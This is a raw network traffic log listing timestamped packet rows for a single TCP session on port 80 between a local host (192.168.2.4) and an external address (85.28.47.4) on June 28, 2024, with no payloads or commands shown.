Jun 28, 2024 22:32:03.721641064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.721649885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.721659899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.721671104 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.721721888 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.722508907 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.722518921 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.722528934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.722537994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.722548008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.722554922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.722558022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.722567081 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.722583055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.722584009 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.722594023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.722614050 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.722637892 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.723428965 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.723440886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.723449945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.723459959 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.723469019 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.723476887 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.723479986 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.723490953 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.723500967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.723510027 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.723510981 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.723562956 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.724195957 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.724210978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.724220037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.724231005 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.724240065 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.724250078 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.724250078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.724260092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.724271059 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.724280119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.724291086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.724299908 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.724304914 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.724311113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.724349022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.724375963 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.725055933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.725065947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.725075006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.725085020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.725095034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.725099087 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.725106001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.725116014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.725127935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.725136995 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.725137949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.725147009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.725157976 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.725192070 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.725215912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.725970030 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.725980997 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.725990057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726000071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726010084 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726012945 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.726020098 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726030111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726039886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726042986 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.726051092 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726062059 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726073027 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726082087 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.726119995 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.726910114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726919889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726931095 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726941109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726949930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726959944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726960897 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.726970911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726980925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.726990938 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.727001905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.727010012 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.727011919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.727057934 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.727799892 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.727811098 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.727819920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.727829933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.727838993 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.727849007 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.727854013 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.727858067 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.727869987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.727879047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.727890015 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.727900028 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.727900982 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.727936029 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.727961063 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.728652954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.728668928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.728678942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.728688955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.728698015 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.728723049 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.728729010 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.728740931 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.728749990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.728759050 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.728760004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.728769064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.728780031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.728790045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.728805065 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.728853941 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.729665041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.729676008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.729681015 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.729690075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.729698896 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.729707956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.729717970 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.729717970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.729728937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.729739904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.729751110 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.729753971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.729763985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.729780912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.729806900 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.730580091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.730591059 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.730601072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.730611086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.730621099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.730623960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.730631113 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.730640888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.730650902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.730660915 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.730671883 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.730671883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.730683088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.730720997 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.730742931 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.731363058 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731374979 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731384039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731395006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731403112 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.731405020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731416941 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731429100 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.731475115 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.731828928 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731838942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731848001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731858015 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731867075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731868982 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.731878996 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731893063 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731904984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731914997 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731919050 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.731925011 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731935978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731945038 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.731961966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.731991053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.739073992 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.739150047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.739159107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.739165068 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.739219904 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.739250898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.739267111 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.739311934 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.739403009 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.739413977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.739453077 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.739556074 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.739567041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.739594936 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.739629984 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.739689112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.739698887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.739731073 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.739753962 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.739870071 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.739880085 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.739891052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.739902020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.739908934 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.739912987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.739933014 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.739973068 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.749615908 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.749685049 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.749701977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.749712944 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.749757051 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.749785900 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.749795914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.749836922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.749938965 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.749950886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.749968052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.749977112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.749986887 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.750030041 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.750176907 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.750186920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.750193119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.750200033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.750228882 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.750251055 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.750420094 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.750432014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.750443935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.750454903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.750468016 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.750514984 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.750708103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.750720024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.750755072 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.750777006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.750790119 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.750802040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.750813961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.750823021 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.750825882 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.750839949 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.750868082 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.750909090 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.751425982 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.751437902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.751450062 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.751461029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.751472950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.751473904 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.751485109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.751497984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.751507998 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.751509905 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.751550913 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.752021074 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752032995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752043962 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752054930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752065897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752079964 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.752123117 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.752294064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752340078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.752451897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752464056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752475023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752490997 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752500057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.752504110 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752517939 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752531052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752537966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.752542973 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752553940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752567053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752568960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.752578020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.752595901 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.752625942 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.753432035 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.753443956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.753460884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.753472090 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.753473997 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.753483057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.753494978 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.753505945 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.753515005 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.753516912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.753528118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.753540039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.753551006 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.753551960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.753562927 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.753575087 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.753576040 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.753601074 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.753622055 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.754375935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.754389048 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.754400969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.754412889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.754421949 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.754430056 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.754441977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.754445076 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.754451990 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.754463911 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.754476070 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.754483938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.754487038 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.754513979 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.754532099 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.760030985 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.760098934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.760107994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.760127068 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.760157108 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.760288954 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.760298967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.760308981 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.760319948 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.760329962 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.760369062 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.760524988 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.760567904 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.760624886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.760634899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.760649920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.760659933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.760665894 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.760685921 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.760723114 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:03.760891914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:03.760901928 CEST	80	49731	85.28.47.4	192.168.2.4
